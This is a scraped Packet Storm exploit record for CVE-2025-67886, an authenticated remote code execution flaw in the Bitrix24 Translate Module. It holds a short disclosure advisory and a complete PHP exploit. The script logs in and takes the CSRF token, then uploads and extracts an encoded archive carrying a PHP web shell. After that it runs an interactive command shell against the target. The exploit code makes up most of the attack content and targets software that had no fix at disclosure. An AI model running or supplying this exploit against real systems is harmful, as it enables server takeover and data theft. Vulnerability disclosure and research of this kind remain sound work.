{“lastseen”:”2025-12-16T18:52:54″,”description”:”Bitrix24 versions 25.100.300 and below have a vulnerability that is located within the Translate Module, which allows users to upload and extract archive files into a temporary directory. However, the application fails to properly verify the contents…”,”published”:”2025-12-16T00:00:00″,”modified”:”2025-12-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Bitrix24 25.100.300 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212893″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-67886″],”sourceData”:”—————————————————————————–\\n Bitrix24 \\u003c= 25.100.300 (Translate Module) Remote Code Execution Vulnerability\\n —————————————————————————–\\n \\n \\n [-] Software Link:\\n \\n https:\/\/www.bitrix24.com\\n \\n \\n [-] Affected Versions:\\n \\n Version 25.100.300 and prior versions.\\n \\n \\n [-] Vulnerability Description:\\n \\n The vulnerability is located within the \\”Translate Module\\”, which\\n allows users to upload and extract archive files into a temporary\\n directory. However, the application fails to properly verify the\\n contents of these archives before extracting them. This can be\\n exploited by malicious users to upload and execute arbitrary PHP code\\n by including a PHP file along with a specially crafted .htaccess file\\n within the archive.\\n \\n Successful exploitation of this vulnerability requires an account with\\n \\”SOURCE\\” and \\”WRITE\\” permissions for the \\”Translate Module\\”.\\n \\n \\n [-] Proof of Concept:\\n \\n https:\/\/karmainsecurity.com\/pocs\/CVE-2025-67886.php\\n \\n \\n [-] Solution:\\n \\n No official solution is currently available.\\n \\n \\n [-] Disclosure Timeline:\\n \\n [22\/10\/2025] – Vendor notified, no response\\n [03\/11\/2025] – Vendor contacted again, no response\\n [12\/11\/2025] – CVE identifier requested\\n [12\/12\/2025] – CVE identifier assigned\\n [15\/12\/2025] – Public disclosure\\n \\n \\n [-] CVE Reference:\\n \\n The Common Vulnerabilities and Exposures program (cve.org) has\\n assigned the name CVE-2025-67886 to this vulnerability.\\n \\n \\n [-] Credits:\\n \\n Vulnerability discovered by Egidio Romano.\\n \\n \\n [-] Original Advisory:\\n \\n http:\/\/karmainsecurity.com\/KIS-2025-07\\n \\n \\n — proof of concept (attached by Packet Storm) —\\n \\n \\u003c?php\\n \\n \/*\\n —————————————————————————–\\n Bitrix24 \\u003c= 25.100.300 (Translate Module) Remote Code Execution Vulnerability\\n —————————————————————————–\\n \\n author…………..: Egidio Romano aka EgiX\\n mail…………….: n0b0d13s[at]gmail[dot]com\\n software link…….: https:\/\/www.bitrix24.com\\n \\n +————————————————————————-+\\n | This proof of concept code was written for educational purpose only. |\\n | Use it at your own risk. Author will be not responsible for any damage. |\\n +————————————————————————-+\\n \\n [-] Original Advisory:\\n \\n https:\/\/karmainsecurity.com\/KIS-2025-07\\n *\/\\n \\n set_time_limit(0);\\n error_reporting(E_ERROR);\\n \\n if (!extension_loaded(\\”curl\\”)) die(\\”[-] cURL extension required!\\\\n\\”);\\n \\n if ($argc != 4) die(\\”\\\\nUsage: php $argv[0] \\u003cURL\\u003e \\u003cUsername\\u003e \\u003cPassword\\u003e\\\\n\\\\n\\”);\\n \\n $url = $argv[1];\\n $user = $argv[2];\\n $passwd = $argv[3];\\n $ch = curl_init();\\n \\n @unlink(‘.\/cookies.txt’);\\n \\n curl_setopt($ch, CURLOPT_HEADER, true);\\n curl_setopt($ch, CURLOPT_COOKIEJAR, ‘.\/cookies.txt’);\\n curl_setopt($ch, CURLOPT_COOKIEFILE, ‘.\/cookies.txt’);\\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n \/\/curl_setopt($ch, CURLOPT_PROXY, ‘http:\/\/127.0.0.1:8080’);\\n \\n print \\”[+] Logging into Bitrix\\\\n\\”;\\n \\n curl_setopt($ch, CURLOPT_URL, \\”{$url}\\”);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, \\”AUTH_FORM=1\\u0026TYPE=AUTH\\u0026USER_LOGIN={$user}\\u0026USER_PASSWORD={$passwd}\\”);\\n \\n if (!preg_match(\\”\/BITRIX_SM_LOGIN\/\\”, curl_exec($ch))) die(\\”[-] Login failed!\\\\n\\”);\\n \\n curl_setopt($ch, CURLOPT_POST, false);\\n \\n if (!preg_match(‘\/\\”bitrix_sessid\\”:\\”([^\\”]+)\\”\/’, curl_exec($ch), $csrf)) die(\\”[-] CSRF token not found!\\\\n\\”);\\n \\n print \\”[+] Uploading malicious archive\\\\n\\”;\\n \\n @file_put_contents(\\”rce.tar.gz\\”, base64_decode(\\”H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx\/lxfa9\/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2\/0IlE\/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz\/5suXxMb\/3XTmf0o3Qybp\/7RPAXvcKKLCNjTtjj2PyHYbyf\/yiOY87d4DfzH2L+\/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS\/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA\\”));\\n \\n curl_setopt($ch, CURLOPT_URL, \\”{$url}bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.upload\\”);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, [\\”sessid\\” =\\u003e $csrf[1], \\”tarFile\\” =\\u003e new CURLFile(\\”rce.tar.gz\\”)]);\\n \\n if (!preg_match(‘\/\\”status\\”:\\”success\\”\/’, curl_exec($ch))) die(\\”[-] Upload failed!\\\\n\\”);\\n \\n print \\”[+] Extracting malicious archive\\\\n\\”;\\n \\n curl_setopt($ch, CURLOPT_URL, \\”{$url}bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.extract\\”);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, [\\”sessid\\” =\\u003e $csrf[1]]);\\n \\n if (!preg_match(‘\/\\”status\\”:\\”success\\”\/’, curl_exec($ch))) die(\\”[-] Extract failed!\\\\n\\”);\\n \\n curl_setopt($ch, CURLOPT_URL, \\”{$url}bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.apply\\”);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, [\\”sessid\\” =\\u003e $csrf[1], \\”PROCESS_TOKEN\\” =\\u003e 1, \\”languageId\\” =\\u003e \\”en\\”]);\\n \\n if (!preg_match(‘\/upload\\\\\\\\\\\\\\\\\\\\\/tmp[^\\”]+\\”\/’, curl_exec($ch), $path)) die(\\”[-] Path not found!\\\\n\\”);\\n \\n $path = str_replace(‘\\\\\/’, ‘\/’, substr($path[0], 0, -8));\\n \\n print \\”[+] Launching shell\\\\n\\”;\\n \\n curl_setopt($ch, CURLOPT_URL, \\”{$url}{$path}\/shell.php\\”);\\n curl_setopt($ch, CURLOPT_POST, false);\\n \\n while(1)\\n {\\n \\tprint \\”\\\\nbitrix-shell# \\”;\\n \\tif (($cmd = trim(fgets(STDIN))) == \\”exit\\”) break;\\n \\tcurl_setopt($ch, CURLOPT_HTTPHEADER, [\\”C: \\”.base64_encode($cmd)]);\\n \\tpreg_match(‘\/____(.*)____\/s’, curl_exec($ch), $m) ? print $m[1] : die(\\”\\\\n[-] Exploit failed!\\\\n\\”);\\n }”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212893″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212893\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-16T18:52:54″,”description”:”Bitrix24 versions 25.100.300 and below have a vulnerability that is located within the Translate Module, which allows users to upload and extract archive files into…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-31416","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n